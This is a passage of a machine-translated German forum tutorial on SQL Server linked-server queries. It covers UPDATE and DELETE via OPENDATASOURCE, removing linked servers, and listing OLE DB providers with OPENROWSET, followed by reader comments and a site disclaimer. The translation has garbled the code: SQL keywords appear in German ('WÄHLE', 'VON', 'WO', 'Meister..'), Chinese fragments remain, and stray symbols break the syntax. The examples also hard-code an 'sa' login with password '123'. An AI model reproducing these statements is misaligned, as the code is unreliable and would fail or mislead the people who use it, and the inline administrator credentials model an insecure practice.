SELECT-Spalte, Spalte... VON der lokalen Tabelle
/*
Zum Beispiel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(ENTFERNUNG, NIVEAU, Personen)
WÄHLE REICHWEITE, NIVEAU, Personen VON TB
*/
--Hinweis:
Für weitere alternative Methoden siehe das .3.1-Abfragebeispiel: Ersetzen Sie einfach den Inhalt in der Zeilenset-Funktion (OPENDATASOURCE).
--3.3.3 Update-Beispiel
UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql Servername oder IP-Adresse; uid=Benutzername; pwd=passwort').
Datenbankname. Name der Architektur. Tabellenname
SET-Feld = 'Wert'
WOBEI Feld = 'Bedingung' =
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
WO Personen='a'
*/
--Hinweis:
Für weitere alternative Methoden siehe das .3.1-Abfragebeispiel: Ersetzen Sie einfach den Inhalt in der Zeilenset-Funktion (OPENDATASOURCE).
--3.3.4 Löschbeispiel
DELETE OPENDATASOURCE('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; uid=Benutzername; pwd=passwort').
Datenbankname. Name der Architektur. Tabellenname
WO Feldname='Bedingung'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
WO Personen = 'g'
*/
- Hinweis: Weitere Alternativen

Siehe das .3.1-Abfragebeispiel, ersetze einfach den Inhalt in der Rowset-Funktion (OPENDATASOURCE).
--
Lösche die verknüpfte Server-Methode
--Wenn du die Linkinformationen in Zukunft nicht mehr verwendest, kannst du die Linkinformationen löschen
--4.1
Login-Informationen löschen (oder die Login-Name-Karte des verknüpften Servers löschen)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Zum Beispiel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Lösche den verknüpften Servernamen
EXEC sp_dropserver 'LinkName', 'droplogins' – wenn droplogins angegeben sind,
Die Anmeldekarte muss gelöscht werden, bevor der verklinkte Server gelöscht wird
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Angehängt


Wie man den Anbieternamen erhält (EXEC-Master). xp_enum_oledb_providers)
CAST AUSWÄHLEN([Anbietername] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
VON

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=ja',
'SETZE NUR FMTONLY LOS;
EXEC

Meister.. xp_enum_oledb_providers'
)




Vorhergehend:UCloud Schwachstellenhandhabungsprozess und Belohnungsdetails
Nächster:Ich kann heute den Zug nach Hause nehmen, und ich war seit über einem halben Jahr nicht mehr zu Hause
Veröffentlicht am 27.09.2017 17:43:11 |
Sehr ausführlich. Danke.
 Vermieter| Veröffentlicht am 17.06.2023 11:12:11 |
Testen Sie SQL-Injektionstests mit dem SQLMAP-Infiltrationstool
https://www.itsvse.com/thread-10611-1-1.html
Verzichtserklärung:
Alle von Code Farmer Network veröffentlichten Software, Programmiermaterialien oder Artikel dienen ausschließlich Lern- und Forschungszwecken; Die oben genannten Inhalte dürfen nicht für kommerzielle oder illegale Zwecke verwendet werden, andernfalls tragen die Nutzer alle Konsequenzen. Die Informationen auf dieser Seite stammen aus dem Internet, und Urheberrechtsstreitigkeiten haben nichts mit dieser Seite zu tun. Sie müssen die oben genannten Inhalte innerhalb von 24 Stunden nach dem Download vollständig von Ihrem Computer löschen. Wenn Ihnen das Programm gefällt, unterstützen Sie bitte echte Software, kaufen Sie die Registrierung und erhalten Sie bessere echte Dienstleistungen. Falls es eine Verletzung gibt, kontaktieren Sie uns bitte per E-Mail.

Mail To:help@itsvse.com